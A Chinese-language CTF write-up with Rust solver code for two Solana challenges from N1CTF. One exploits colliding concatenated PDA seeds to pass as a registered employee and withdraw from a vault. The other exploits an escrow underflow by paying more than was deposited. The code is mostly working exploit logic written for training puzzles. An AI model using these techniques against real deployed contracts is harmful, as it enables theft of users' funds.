N1CTF solana 2题 and 后续可能写点学习记录
希望这最好能给我以后如果还做合约的话填上面试的有色彩的一笔。
N1CTF 2题
先贴wp: 感谢@tonycrane学弟教题。
漏洞在于一个declared_id下的程序 导致他在利用一些如字符串的东西作为seed生成账户的时候,他们的字符串内容可能是会拼接的。
['aaaa','bbb']==['aaa','abbb']导致的问题。从而导致vault获取的和初始化的employ_A一致。然后就可以用能通过正常验证的账户通过验证之后就可以随意withdraw了
use anchor_lang::prelude::*;
use anchor_spl::token::{Mint, Token, TokenAccount};
declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t");
#[program]
pub mod solve {
use super::*;
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
let o1 = String::from("produc");
let e1 = String::from("temploy_A");
let cpi_accounts = chall::cpi::accounts::Register {
catalog: ctx.accounts.catalog.to_account_info(),
employee_record: ctx.accounts.user_record.to_account_info(),
user: ctx.accounts.user.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::register(cpi_ctx, o1, e1)?;
let o1 = String::from("producte");
let e1 = String::from("mploy_A");
let cpi_accounts = chall::cpi::accounts::Withdraw {
vault: ctx.accounts.vault.to_account_info(),
employee_record: ctx.accounts.user_record.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_token_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
payer: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::withdraw(cpi_ctx, o1, e1, 10)?;
// --------------------------------------------
// your instruction goes here
Ok(())
}
}
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(mut)]
pub catalog: AccountInfo<'info>,
#[account(mut)]
pub user_record: AccountInfo<'info>,
#[account(mut)]
pub vault: AccountInfo<'info>,
pub mint: Account<'info, Mint>,
#[account(mut)]
pub reserve: Account<'info, TokenAccount>,
#[account(mut)]
pub user_token_account: Account<'info, TokenAccount>,
#[account(mut)]
pub user: Signer<'info>,
pub token_program: Program<'info, Token>,
pub system_program: Program<'info, System>,
pub chall: Program<'info, chall::program::Chall>,
pub rent: Sysvar<'info, Rent>,
}
同时记得改 main.rs中的那个创建user部分和我们的user一致。
U.p.s
下溢
use borsh::BorshSerialize;
use solana_program::{
account_info::{next_account_info, AccountInfo},
entrypoint::ProgramResult,
instruction::{AccountMeta, Instruction},
program::invoke,
pubkey::Pubkey,
system_program,
};
use utility_payment::ServiceInstruction;
pub fn process_instruction(
_program: &Pubkey,
accounts: &[AccountInfo],
_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let utility_program = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let sys_prog_account = next_account_info(account_iter)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::Init { }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::DepositEscrow { amount:10 }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::Pay { amount:14 }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::WithdrawEscrow { }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
Ok(())
}